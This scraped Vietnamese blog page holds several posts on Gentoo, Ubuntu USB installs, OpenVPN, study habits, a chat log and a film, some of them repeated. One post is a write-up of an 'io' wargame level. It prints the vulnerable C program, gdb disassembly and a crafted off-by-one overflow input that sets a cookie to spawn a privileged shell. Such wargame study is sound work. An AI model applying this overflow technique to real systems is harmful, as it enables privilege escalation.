Hahaha, giời mới co net lại, làm tip này mở màng ha.
Đang chạy thèn gentoo, bực chỗ là mỗi lẫn chạy vmware (workstation) là phải add mấy cái funtion của nó vào kernel để chạy. Vài cái tiêu biểu như là vmnet, vmci... Mệt nhỉ. Vậy giờ add nó vào runlevels default để nó tự chạy lúc khởi động ha.
Chuyển qua root.
crazyboy@h4x0r / $ su
Password:
h4x0r / #
vào /etc/init.d/ ,
h4x0r / # cd /etc/init.d/
tải file này về .
h4x0r / # wget http://12a1nhc.com/Crazy_boy/crazyboy/vmware
tạo một file bash script có tên vmware trong để chạy mấy cái lệnh cần thiết :
h4x0r init.d # vi /root/vmware
nd;
#!/bin/sh
modprobe vmnet
modprobe vmci
modprobe vmmon
chạy lệnh sau
h4x0r init.d # rc-update add vmware default
Reboot và xem kết quả nào :D .
!crazyboy
fucked lvl10@io !
Ở level này, vấn đề đặt ra không khó, nhưng vì chưa đụng đến cũng như chưa từng đọc tài liệu về nó nên bị bí. Source của lvl10 như sau :
Ta chú ý 2 dòng này:
level10@io:/levels$ gdb level10
...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048472: lea 0x4(%esp),%ecx
0x08048476: and $0xfffffff0,%esp
0x08048479: pushl -0x4(%ecx)
0x0804847c: push %ebp
0x0804847d: mov %esp,%ebp
0x0804847f: push %esi
0x08048480: push %ebx
0x08048481: push %ecx
0x08048482: sub $0x2c,%esp
0x08048485: mov %ecx,-0x20(%ebp)
0x08048488: movl $0x3e8,-0x10(%ebp)
0x0804848f: mov -0x20(%ebp),%eax
0x08048492: cmpl $0x2,(%eax)
0x08048495: je 0x80484a3
0x08048497: movl $0x1,(%esp)
0x0804849e: call 0x8048320
0x080484a3: mov -0x20(%ebp),%edx
0x080484a6: mov 0x4(%edx),%eax
0x080484a9: add $0x4,%eax
0x080484ac: mov (%eax),%eax
0x080484ae: mov %eax,(%esp)
0x080484b1: call 0x80483fb
0x080484b6: cmpl $0xdefaced,-0x10(%ebp) // cookie == 0xdefaced, chương trình truy xuất cookie tại -0x10(%ebp)
0x080484bd: jne 0x8048506
0x080484bf: call 0x8048330
0x080484c4: mov %eax,%ebx
0x080484c6: call 0x8048330
0x080484cb: mov %eax,%esi
0x080484cd: call 0x8048330
0x080484d2: mov %ebx,0x8(%esp)
...
(gdb) b main
Breakpoint 1 at 0x8048482
(gdb) b f
Breakpoint 2 at 0x8048404
(gdb) disassemble f
Dump of assembler code for function f:
0x080483fb: push %ebp
0x080483fc: mov %esp,%ebp
0x080483fe: sub $0x110,%esp
0x08048404: call 0x80483f4
0x08048409: mov %eax,-0x4(%ebp)
0x0804840c: mov -0x4(%ebp),%eax
0x0804840f: mov (%eax),%edx
0x08048411: lea -0x104(%ebp),%eax
0x08048417: mov %edx,%ecx
0x08048419: sub %eax,%ecx
0x0804841b: mov %ecx,%eax
0x0804841d: inc %eax
0x0804841e: mov %eax,0x804974c
0x08048423: movl $0x0,0x8049750
0x0804842d: jmp 0x8048452
0x0804842f: mov 0x8049750,%edx
0x08048435: mov 0x8049750,%eax
0x0804843a: add 0x8(%ebp),%eax
0x0804843d: movzbl (%eax),%eax
0x08048440: mov %al,-0x104(%ebp,%edx,1)
0x08048447: mov 0x8049750,%eax
0x0804844c: inc %eax
0x0804844d: mov %eax,0x8049750
0x08048452: mov 0x8049750,%edx
0x08048458: mov 0x804974c,%eax
0x0804845d: cmp %eax,%edx
0x0804845f: jge 0x8048470
0x08048461: mov 0x8049750,%eax
0x08048466: add 0x8(%ebp),%eax
0x08048469: movzbl (%eax),%eax
---Type to continue, or q to quit---
0x0804846c: test %al,%al
0x0804846e: jne 0x804842f
0x08048470: leave
0x08048471: ret
End of assembler dump.
(gdb) b *0x08048741
Breakpoint 3 at 0x8048741
Ta sẽ thử chạy lvl10 với thông số vào là 300 ký tự ngẫu nhiên :
- Tạo genbuf :

- Run :
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
....
Breakpoint 1, 0x08048482 in main ()
(gdb) i r ebp
ebp 0xbfffdbf8 0xbfffdbf8
(gdb) c
Continuing.
Breakpoint 2, 0x08048404 in f ()
(gdb) c
Continuing.
Breakpoint 4, 0x08048471 in f ()
(gdb) i r ebp ebp 0xbfffdb36 0xbfffdb36
(gdb) x/x $ebp 0xbfffdb36: 0x65413365
(gdb) x/x $ebp-0x10 0xbfffdb26: 0x41386441
---> ebp khi push vào stack đã bị ghi đè 1 byte thành 0xbfffdb36
---> tại offset của ebp tính tới 4 byte là 0x65413345 ứng với chuỗi eA3e trong đoạn genbuf ở trên.
---> khi đó chương trình sẽ truy xuất cookie là 0x41386441 .
Đến đây coi như đã xong, việc còn lại là chỉnh sửa genbuf để phù hợp với phân tích trên. genbuf sau khi chỉnh sửa là :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7"+"\xed\xac\xef\x0d"+"cede0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
Và đoạn exploit như sau :

F/N.
#include
#include
#include
// Contributed by Torch
int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }
void f(char *s)
{
int *i;
char buf[256];
i = (int *)getebp();
limit = *i - (int)buf + 1;
printf("limit = %d\n",limit);
for (c = 0; c < limit && s[c] != '\0'; c++)
buf[c] = s[c];
}
int main(int argc, char **argv)
{
int cookie = 1000;
if (argc != 2) exit(1);
f(argv[1]);
if ( cookie == 0xdefaced ) {
setresuid(geteuid(), geteuid(), geteuid());
execlp("/bin/sh", "/bin/sh", "-i", NULL);
}
return 0;
}
Ta chú ý 2 dòng này:
i = (int *)getebp(); limit = *i - (int)buf + 1;Tại sao không phải cộng 1 ??? Bạn có thể đoán được điều gì sẽ xảy ra phải không. Vâng, ta sẽ kiểm chứng điều bạn nghĩ :D .
level10@io:/levels$ gdb level10
...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048472
0x08048476
0x08048479
0x0804847c
0x0804847d
0x0804847f
0x08048480
0x08048481
0x08048482
0x08048485
0x08048488
0x0804848f
0x08048492
0x08048495
0x08048497
0x0804849e
0x080484a3
0x080484a6
0x080484a9
0x080484ac
0x080484ae
0x080484b1
0x080484b6
0x080484bd
0x080484bf
0x080484c4
0x080484c6
0x080484cb
0x080484cd
0x080484d2
...
(gdb) b main
Breakpoint 1 at 0x8048482
(gdb) b f
Breakpoint 2 at 0x8048404
(gdb) disassemble f
Dump of assembler code for function f:
0x080483fb
0x080483fc
0x080483fe
0x08048404
0x08048409
0x0804840c
0x0804840f
0x08048411
0x08048417
0x08048419
0x0804841b
0x0804841d
0x0804841e
0x08048423
0x0804842d
0x0804842f
0x08048435
0x0804843a
0x0804843d
0x08048440
0x08048447
0x0804844c
0x0804844d
0x08048452
0x08048458
0x0804845d
0x0804845f
0x08048461
0x08048466
0x08048469
---Type
0x0804846c
0x0804846e
0x08048470
0x08048471
End of assembler dump.
(gdb) b *0x08048741
Breakpoint 3 at 0x8048741
Ta sẽ thử chạy lvl10 với thông số vào là 300 ký tự ngẫu nhiên :
- Tạo genbuf :

(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
....
Breakpoint 1, 0x08048482 in main ()
(gdb) i r ebp
ebp 0xbfffdbf8 0xbfffdbf8
(gdb) c
Continuing.
Breakpoint 2, 0x08048404 in f ()
(gdb) c
Continuing.
Breakpoint 4, 0x08048471 in f ()
(gdb) i r ebp ebp 0xbfffdb36 0xbfffdb36
(gdb) x/x $ebp 0xbfffdb36: 0x65413365
(gdb) x/x $ebp-0x10 0xbfffdb26: 0x41386441
---> ebp khi push vào stack đã bị ghi đè 1 byte thành 0xbfffdb36
---> tại offset của ebp tính tới 4 byte là 0x65413345 ứng với chuỗi eA3e trong đoạn genbuf ở trên.
---> khi đó chương trình sẽ truy xuất cookie là 0x41386441 .
Đến đây coi như đã xong, việc còn lại là chỉnh sửa genbuf để phù hợp với phân tích trên. genbuf sau khi chỉnh sửa là :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7"+"\xed\xac\xef\x0d"+"cede0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
Và đoạn exploit như sau :

F/N.
How to : Make USB bootable to Install Ubuntu 9.10
I.Dẫn nhập:
Bạn muốn cài Ubuntu mà lại không có CD cài đặt, cũng không có điều kiện để đi burn 1 cái. Vậy thì bài này sẽ giúp bạn tạo một USB disk để cài đặt Ubuntu một cách nhanh chóng.
II. Công cụ:
- Trước tiên, bạn phải có một máy tính khác, chạy Windows hoặc Linux gì cũng được. Mình sẽ hướng dẫn để thao tác trên cả hai.
- Một file ảnh *.iso của Ubuntu 9.10 i386. Download ở đây .
- Một tiện ích nhỏ để cho ta đỡ công hơn. Download ở đây.
- Và tất nhiên là 1 USB 2.0. Dung lượng trống khoảng 1GB là vừa. Định dạng của USB là fat32.
III.Tiến hành:
- Đối với Windows:
.giải nén file makeusboot.tar.gz
.copy file ubuntu-9.10-desktop-i386.iso; nếu không có file này, khi chạy bước dưới đây sẽ tự động tải file này về để làm việc.
.chạy file fixoph.bat để tiến hành tạo usb boot.
.bạn bật chức năng boot USB của mainboard. Cắm USB vào và cài đặt.
- Đối với Linux thì có phần đơn giản hơn.
.dùng công cụ USB Startup Disk Creator để tạo USB boot này.
.từ console :
$usb-creator-gtk
.giao diện của chương trình như sau:
.click vào Other để chọn file iso của Ubuntu. Sau đó chọn Make Startup Disk và đợi.
IV.Mở rộng:
- Ở đây file fixoph.bat chỉ hỗ trợ cho Ubuntu 9.10 i386. Để tạo USB cho các bản Ubuntu và Linux ở các phiên bản khác thì bạn mở file này, thay ubuntu-9.10-desktop-i386.iso bằng tên file *.iso của phiên bản tương ứng.
V.Tổng kết:
- Không tốn quá nhiều công sức cũng như thời gian, bạn đã có một USB để boot cài đặt Ubuntu một cách nhanh chóng.
- Việc cài đặt qua USB còn có một cái lợi nữa, đó là thời gian cài đặt rất nhanh so với cài bằng CD.
Bạn muốn cài Ubuntu mà lại không có CD cài đặt, cũng không có điều kiện để đi burn 1 cái. Vậy thì bài này sẽ giúp bạn tạo một USB disk để cài đặt Ubuntu một cách nhanh chóng.
II. Công cụ:
- Trước tiên, bạn phải có một máy tính khác, chạy Windows hoặc Linux gì cũng được. Mình sẽ hướng dẫn để thao tác trên cả hai.
- Một file ảnh *.iso của Ubuntu 9.10 i386. Download ở đây .
- Một tiện ích nhỏ để cho ta đỡ công hơn. Download ở đây.
- Và tất nhiên là 1 USB 2.0. Dung lượng trống khoảng 1GB là vừa. Định dạng của USB là fat32.
III.Tiến hành:
- Đối với Windows:
.giải nén file makeusboot.tar.gz
.copy file ubuntu-9.10-desktop-i386.iso; nếu không có file này, khi chạy bước dưới đây sẽ tự động tải file này về để làm việc.
.chạy file fixoph.bat để tiến hành tạo usb boot.
.bạn bật chức năng boot USB của mainboard. Cắm USB vào và cài đặt.
- Đối với Linux thì có phần đơn giản hơn.
.dùng công cụ USB Startup Disk Creator để tạo USB boot này.
.từ console :
$usb-creator-gtk
.giao diện của chương trình như sau:
.click vào Other để chọn file iso của Ubuntu. Sau đó chọn Make Startup Disk và đợi.IV.Mở rộng:
- Ở đây file fixoph.bat chỉ hỗ trợ cho Ubuntu 9.10 i386. Để tạo USB cho các bản Ubuntu và Linux ở các phiên bản khác thì bạn mở file này, thay ubuntu-9.10-desktop-i386.iso bằng tên file *.iso của phiên bản tương ứng.
V.Tổng kết:
- Không tốn quá nhiều công sức cũng như thời gian, bạn đã có một USB để boot cài đặt Ubuntu một cách nhanh chóng.
- Việc cài đặt qua USB còn có một cái lợi nữa, đó là thời gian cài đặt rất nhanh so với cài bằng CD.
Cài đặt và cấu hình OpenVPN
Mới config xong cái OpenVPN server. Viết cái processing để sau này mọi người có cài đặt thì có cái để tham khảo .
Link download : Click here
Link download : Click here
Dốt quá !
Mới thi lúc chiều về, mới cảm nhận được sự dốt của mình. Bài tập dễ như thế mà không làm được, rất nhiều lần rồi, cứ tái diễn mãi. Vì sao như vậy ?
Nguyên nhân:
- Khi lên đại học, làm 1 sinh viên rồi, thái độ của mình đối với kiến thức hời hợt quá. Khi tìm hiểu về vấn đề gì thì lúc nào cũng chủ quan, tự cho mình đã hiểu nhưng khi giải quyết vấn đề liên quan thì lại không được. Học các môn đó thì rất ít khi thực hành, làm bài tập, chỉ khi nào gần ngày thi mới mang đề ra cày. Dù rằng có bạn cày đề đạt kết quả rất cao, qua môn . Nhưng thiết nghĩ bạn thấm được bao nhiêu, thực sự hiểu cặn kẽ nó hay không.
- Lúc nào cũng nói thời gian của mình là hạn hẹp, nhưng hầu hết là để ngồi máy tính, online, chat chít, duyệt web lung tung không mục đích. Nhiều người hay nguỵ biện là để cập nhật thông tin, nhưng cập nhật được bao nhiêu so với thời gian bỏ ra, thay vì đó tối rồi hãy dành time để online đọc báo, vậy ko tốt sao ?
- Đọc sách chưa hiểu cặn kẽ, chưa thử giải quyết các vấn đề mà sách đưa ra dẫn đến thiếu thực tế.
Hướng giải quyết như thế nào :
- Sắp xếp thời gian thật hợp lí để học các môn cứng trên trường và nghiên cứu các vần đề bạn quan tâm. Phải làm bài, thực hành thật nhiều về các vấn đề được đặt ra trong bài học. Ví dụ một ngày, có thể dành sáng chiều để học các môn trên trường, làm hết các bài tập, tìm hiểu các vấn đề giềng mối. Tối thì nghiên cứu các lĩnh vực khác, đọc báo, ngày nghỉ thì giải trí, xem phim một tí cũng không sao, hoặc là đi chơi với bạn bè. Một ngày ngủ 6 tiếng là đủ rồi (12h khuya tới 6h sáng).
- Đừng login vào yahoo khi không cần thiết. hãy để thời gian đó để làm việc khác. Sáng ngủ dậy sớm, 6h. Ăn sáng, duyệt qua mấy tờ báo. 7h đi học hoặc học bài, làm bài, đọc sách. Chiều tối hãy duyệt web, forum ... Rồi tối, trong thời gian nghiên cứu riêng, nếu cần thì online nhiều hơn. Đừng lạm dụng google. Nhiều lúc nguỵ biện rằng lúc học bật máy tính để có gì ko hiểu thì search, tuy nhiên nếu ai nhảy vào buzz là tám liền. Hoặc tình cờ lũ bạn spam cái gì đó hay hay thì phí thời gian đọc, bàn tán. Tớ ghét cái lũ spam này nhất. Lợi ích thấy chẳng bao nhiêu nhưng phiền phức thì nhiều.
- Đọc sách, nhất là sách tiếng nước ngoài, không cần đọc quá nhanh, nhưng đọc để hiểu cặn kẽ vấn đề. Nên take notes mỗi khi gặp lúc không hiểu và lấy đó để đặt vấn đề giải quyết. Đọc sách cốt là để giải quyết vấn đề mình gặp phải, không giải quyết được thì coi như ko đọc sách . Cuối mỗi bài, mỗi đoạn nên có sự tóm tắt, và tự mình viết lại những gì đã gặt hái được từ sách. Phải tổng kết khi hoàn thành xong một mục của sách và giải quyết các ex mà sách đưa ra. Có thể nói và chia sẻ các kiến thức mình đạt được cho mọi người, bạn bè. Cách tốt để thử mình hiểu vấn đề tới đâu.
Hãy học thật nghiêm túc, không tha thứ cho lỗi lầm, phải rèn luyện từng phần một và đừng ham hố làm nhiều việc cùng một lúc, chả có lợi gì đâu.
Đã nhiều lần tự nhủ mình, phải cố gắng nữa. Vẫn còn dốt lắm !
Nguyên nhân:
- Khi lên đại học, làm 1 sinh viên rồi, thái độ của mình đối với kiến thức hời hợt quá. Khi tìm hiểu về vấn đề gì thì lúc nào cũng chủ quan, tự cho mình đã hiểu nhưng khi giải quyết vấn đề liên quan thì lại không được. Học các môn đó thì rất ít khi thực hành, làm bài tập, chỉ khi nào gần ngày thi mới mang đề ra cày. Dù rằng có bạn cày đề đạt kết quả rất cao, qua môn . Nhưng thiết nghĩ bạn thấm được bao nhiêu, thực sự hiểu cặn kẽ nó hay không.
- Lúc nào cũng nói thời gian của mình là hạn hẹp, nhưng hầu hết là để ngồi máy tính, online, chat chít, duyệt web lung tung không mục đích. Nhiều người hay nguỵ biện là để cập nhật thông tin, nhưng cập nhật được bao nhiêu so với thời gian bỏ ra, thay vì đó tối rồi hãy dành time để online đọc báo, vậy ko tốt sao ?
- Đọc sách chưa hiểu cặn kẽ, chưa thử giải quyết các vấn đề mà sách đưa ra dẫn đến thiếu thực tế.
Hướng giải quyết như thế nào :
- Sắp xếp thời gian thật hợp lí để học các môn cứng trên trường và nghiên cứu các vần đề bạn quan tâm. Phải làm bài, thực hành thật nhiều về các vấn đề được đặt ra trong bài học. Ví dụ một ngày, có thể dành sáng chiều để học các môn trên trường, làm hết các bài tập, tìm hiểu các vấn đề giềng mối. Tối thì nghiên cứu các lĩnh vực khác, đọc báo, ngày nghỉ thì giải trí, xem phim một tí cũng không sao, hoặc là đi chơi với bạn bè. Một ngày ngủ 6 tiếng là đủ rồi (12h khuya tới 6h sáng).
- Đừng login vào yahoo khi không cần thiết. hãy để thời gian đó để làm việc khác. Sáng ngủ dậy sớm, 6h. Ăn sáng, duyệt qua mấy tờ báo. 7h đi học hoặc học bài, làm bài, đọc sách. Chiều tối hãy duyệt web, forum ... Rồi tối, trong thời gian nghiên cứu riêng, nếu cần thì online nhiều hơn. Đừng lạm dụng google. Nhiều lúc nguỵ biện rằng lúc học bật máy tính để có gì ko hiểu thì search, tuy nhiên nếu ai nhảy vào buzz là tám liền. Hoặc tình cờ lũ bạn spam cái gì đó hay hay thì phí thời gian đọc, bàn tán. Tớ ghét cái lũ spam này nhất. Lợi ích thấy chẳng bao nhiêu nhưng phiền phức thì nhiều.
- Đọc sách, nhất là sách tiếng nước ngoài, không cần đọc quá nhanh, nhưng đọc để hiểu cặn kẽ vấn đề. Nên take notes mỗi khi gặp lúc không hiểu và lấy đó để đặt vấn đề giải quyết. Đọc sách cốt là để giải quyết vấn đề mình gặp phải, không giải quyết được thì coi như ko đọc sách . Cuối mỗi bài, mỗi đoạn nên có sự tóm tắt, và tự mình viết lại những gì đã gặt hái được từ sách. Phải tổng kết khi hoàn thành xong một mục của sách và giải quyết các ex mà sách đưa ra. Có thể nói và chia sẻ các kiến thức mình đạt được cho mọi người, bạn bè. Cách tốt để thử mình hiểu vấn đề tới đâu.
Hãy học thật nghiêm túc, không tha thứ cho lỗi lầm, phải rèn luyện từng phần một và đừng ham hố làm nhiều việc cùng một lúc, chả có lợi gì đâu.
Đã nhiều lần tự nhủ mình, phải cố gắng nữa. Vẫn còn dốt lắm !
Đểu ???
Nhìn Yahoo status của con bạn cũ "Đời là ..." , đại loại là thái độ oán trách, hờn giận. Nhảy vào :
Nhìn đoạn trên cũng hiểu. Sao trên đời nhiều người cứ bực tức gì, hờn giận ai hay là buồn buồn là lôi đời, lôi "bọn" này nọ ra xỉa, mà không chịu nghĩ vì sao mình lại thành ra vậy. Không phải ai cũng có thể chịu sự quơ đũa cả nắm, chịu cái vô lí quái ác từ nàng
P/S : Đoạn thoại trên mình chỉ fuzzing vậy thôi, không phải thực sự là mình :) .
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: Đời là thế lào ?
X-Girl: doi chi toan nhung thang deu~
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
X-Girl: mi cuoi thi di cho khac ma cuoi
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: mất dạy thật, tội người cha nào có con gái như thế
X-Girl: uk
X-Girl: tao vay do
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: thèn nào ko chịu chịu trách nhiệm hử
X-Girl: deu voi trach nhiem co lien quan gi nhau
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: thiếu trách nhiệm thì sinh ra đểu ấy
X-Girl: zay ha
X-Girl: co le dieu do dung voi mi
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: với ta
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: mi mới là người hình dung ra chữ đểu mà
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: nếu ko biết thì đừng dùng, đúng sai chi ?
X-Girl: ta ko hinh dung
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: vậy sao mi nói đểu ?
X-Girl: ta biet
X-Girl: chu viec gi phai hinh dung
X-Girl: ma thoi
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: như thế nào
X-Girl: ke ta
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: biết ?
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
X-Girl: mi dung co nc kieu do
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: mi ghi đụng chạm tới ta, tới bọn đàn ông mà kệ mi à ?
X-Girl: mi chua phai la dan ong
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: hay nhỉ, ta là đàn ông hay ko thì do 1 lời của mi quyết à
X-Girl: uk
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz: nghe mà thấy vl ấy
X-Girl: uk
X-Girl: mi bua ni cung noi vl nhi~
X-Girl: kinh
xxxxxxxxxxxxx zzzzzzzzzzzzzzzzz:
X-Girl: dung la o sg co khac
X-Girl: tahy doi nhieu that
X-Girl: pp mi
Nhìn đoạn trên cũng hiểu. Sao trên đời nhiều người cứ bực tức gì, hờn giận ai hay là buồn buồn là lôi đời, lôi "bọn" này nọ ra xỉa, mà không chịu nghĩ vì sao mình lại thành ra vậy. Không phải ai cũng có thể chịu sự quơ đũa cả nắm, chịu cái vô lí quái ác từ nàng
P/S : Đoạn thoại trên mình chỉ fuzzing vậy thôi, không phải thực sự là mình :) .
500 day of Summer ! For what ?

Vừa xem xong phim "500 Day of Summer", phim này được giới thiệu là "This isn't a love story, This's a story about love " , nghe kêu nhỉ. Thèn Tom trong phim nằm trong hoàn cảnh cũng giống mình, cũng yêu, rồi kết cục chả là gì cả.
Anh chàng yêu một cô , cô này lại cực kì khó hiểu nhé. Cô ả có nhận định về tình yêu là dối trá và lập gia đình là thứ gì đó không tưởng, kết cục của hôn nhân chẳng phải là ly dị đấy thôi !?? Nói chỉ là thích chàng Tom thôi, trên danh nghĩa bạn bè nhé! Nhưng chắc là do văn hóa của người Mĩ thì phải, sống với gần một năm trời . Đến khi chàng ấy nhắc đến chuyện chính - hôn nhân ... thì nàng ta lại "like u like friend" . Rồi chàng ta vật vả, không biết đi về đâu ... Một thời gian sau, gặp lại, tưởng như thái độ của cô nàng Summer tươi vui khi gặp mình như vậy là có phần nào chấp nhận rồi, nhưng ai ngờ, một thoáng nhìn, chàng ta đã thấy được chiếc nhẫn cưới trên tay nàng ??? Nào tình yêu là dối trá, nào chỉ xem tất cả là bạn đây !!!!
Tiếp tục chuỗi ngày bê tha, chán ngán cuộc đời . Nhưng cũng phải đến lúc đứng lên, làm lại mọi thứ. Chàng ta học nghề mới, vùi đầu vào sách để nghiên cứu. Và vào ngày thứ 48x, hai người tình cờ gặp nhau ở chỗ mà vẫn thường hẹn hò lúc trước. Cô nàng đã sang sông, chàng ta chỉ biết ngồi, nói chuyện và cười mà thôi. Cuối cùng, vào công ty mới, ông trời cũng khéo sắp đặt để anh này không phải cô đơn .
Vậy nghĩ xem, gặp Summer làm chi, 500 ngày để làm gì rồi rốt cuộc cũng bay đi ???
Quyết định rồi, bến chờ thuyền làm chi khi không biết ngày trở lại !
Subscribe to:
Posts (Atom)